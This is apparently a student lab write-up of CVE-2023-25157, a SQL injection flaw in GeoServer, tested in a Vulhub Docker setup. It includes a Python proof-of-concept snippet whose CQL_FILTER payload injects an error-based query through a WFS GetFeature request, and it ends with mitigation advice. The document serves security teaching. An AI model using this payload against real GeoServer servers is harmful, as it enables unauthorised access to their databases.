geoserver CVE-2023-25157
White Hat 3ª turma [30º grupo] 김정우
Link do github - https://github.com/custiya/geoserver-CVE-2023-25157
Resumo da vulnerabilidade
- CVE-2023-25157 é uma vulnerabilidade SQLi que ocorre no GeoServer, um serviço web de dados de mapas de código aberto
- Ocorre em algumas versões do GeoServer 2.22.0 e inferiores
- O parâmetro CQL_FILTER nas requisições WFS (Web Feature Service) é vulnerável
- Qualquer pessoa pode explorar se tiver acesso à API sem autenticação
Configuração do ambiente
- Execute o ambiente de teste com o comando docker compose up -d
- Acesse a página em http://your-ip:8080/geoserver
- Primeiro, é necessário descobrir um workspace existente que contenha um armazenamento de dados PostGIS
- A instância do GeoServer do Vulhub já possui um armazenamento de dados PostGIS
- Nome do workspace: vulhub
- Nome do armazenamento de dados: pg
- Nome da tabela: example
- Atributo utilizado: name
poc.py
- Forma de construir a sintaxe SQLi baseada no conteúdo descrito acima
- Envia a sintaxe para o servidor usando o módulo requests
- strStartsWith(name,'x'') = true
- Adiciona uma aspa extra após x para quebrar a sintaxe SQL
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- A função version() retorna a versão atual do PostgreSQL como string
- CAST(... AS integer) força a conversão para inteiro, causando um erro
- O servidor retorna uma mensagem de erro, permitindo testar Blind SQL Injection
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
Resultado

Conclusão
- Através deste PoC, foi possível verificar a ocorrência de SQLi. Um atacante poderia coletar informações do sistema através de consultas SQL.
- Para prevenir este ataque, é necessário adicionar validação de entrada do usuário. Além disso, as declarações SQL recebidas não devem ser usadas diretamente, mas sim armazenadas e usadas separadamente.